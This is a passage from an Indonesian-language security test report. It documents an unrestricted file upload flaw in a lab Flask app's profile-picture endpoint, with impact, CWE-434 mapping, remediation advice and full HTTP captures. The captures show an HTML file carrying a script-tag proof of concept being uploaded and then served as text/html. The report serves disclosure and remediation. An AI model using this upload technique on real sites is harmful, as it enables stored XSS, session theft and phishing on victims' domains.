Kerentanan
[FAIL] Unrestricted File Upload - Profile Picture - File Type Validation
Deskripsi
Endpoint /upload_profile_picture menyimpan berkas apa pun tanpa memvalidasi ekstensi, content-type, maupun magic bytes, dan tanpa batas ukuran. Berkas disimpan di static/uploads yang disajikan langsung oleh server, dan Flask menetapkan Content-Type berdasarkan ekstensi berkas.
Dampak
Confidentiality + Integrity (High): penyerang dapat mengunggah dokumen HTML berisi JavaScript dan mengaksesnya pada origin aplikasi dengan Content-Type text/html, sehingga skrip dieksekusi sebagai bagian dari situs. Ini memberi penyerang XSS tersimpan pada origin aplikasi, yang dapat dipakai mencuri token sesi korban yang membuka tautan tersebut, sekaligus menjadikan domain bank sebagai inang halaman phishing.
CWE
CWE-434: Unrestricted Upload of File with Dangerous Type
OWASP
A04:2021 - Insecure Design
Skenario
Normal: berkas gambar PNG diunggah sebagai foto profil -> wajar dan diterima. Eksploitasi: berkas payload.html berisi tag script diunggah melalui endpoint yang sama -> diterima tanpa penolakan. Dampak: berkas diakses kembali melalui HTTP dan disajikan dengan Content-Type text/html berisi skrip utuh, sehingga dieksekusi di origin aplikasi.
Endpoint
POST http://127.0.0.1:5001/upload_profile_picture
Fitur terdampak
Unggah foto profil
Rekomendasi perbaikan
- Terapkan allow-list ekstensi dan verifikasi magic bytes; tolak apa pun selain format gambar yang diizinkan, dan lakukan re-encode gambar.
- Simpan berkas unggahan di luar web root dan sajikan melalui handler yang menetapkan Content-Type aman serta Content-Disposition attachment.
- Sajikan konten pengguna dari domain terpisah tanpa cookie sesi.
- Terapkan batas ukuran berkas dan beri nama acak sepenuhnya.
Bukti konsep
- (Screenshot 1) NORMAL: unggah berkas gambar PNG sebagai foto profil -> diterima.
- (Screenshot 2) EKSPLOITASI: unggah payload.html berisi tag script melalui endpoint yang sama -> diterima tanpa validasi tipe.
- (Screenshot 3) DAMPAK CIA: berkas diakses via HTTP -> disajikan dengan Content-Type text/html berisi skrip utuh, dieksekusi pada origin aplikasi.
Rekaman lengkap
LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.
HTTP request
POST /upload_profile_picture HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 222
Content-Type: multipart/form-data; boundary=6e1c16ecc8818d6543fc29ca3d550dce
--6e1c16ecc8818d6543fc29ca3d550dce
Content-Disposition: form-data; name="profile_picture"; filename="avatar.png"
Content-Type: image/png
�PNG
--6e1c16ecc8818d6543fc29ca3d550dce--
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 133
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:23 GMT
{
"file_path": "static/uploads/601907_avatar.png",
"message": "Profile picture uploaded successfully",
"status": "success"
}
HTTP request
POST /upload_profile_picture HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 223
Content-Type: multipart/form-data; boundary=4ac606e2c5cac9f777611c0fbd6e295f
--4ac606e2c5cac9f777611c0fbd6e295f
Content-Disposition: form-data; name="profile_picture"; filename="payload.html"
Content-Type: text/html
<script>alert(document.domain)</script>
--4ac606e2c5cac9f777611c0fbd6e295f--
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 135
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:24 GMT
{
"file_path": "static/uploads/966073_payload.html",
"message": "Profile picture uploaded successfully",
"status": "success"
}
HTTP request
GET /static/uploads/966073_payload.html HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP response
HTTP/1.1 200 OK
Content-Disposition: inline; filename=966073_payload.html
Content-Type: text/html; charset=utf-8
Content-Length: 39
Last-Modified: Wed, 30 Sep 2026 03:02:24 GMT
Cache-Control: no-cache
Date: Wed, 30 Sep 2026 03:02:25 GMT
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
<script>alert(document.domain)</script>
← Kasus sebelumnya: Stored Cross-Site Scripting - User Profile - Bio Field Kasus berikutnya: Unrestricted Resource Consumption - Authentication - Login Rate Limiting →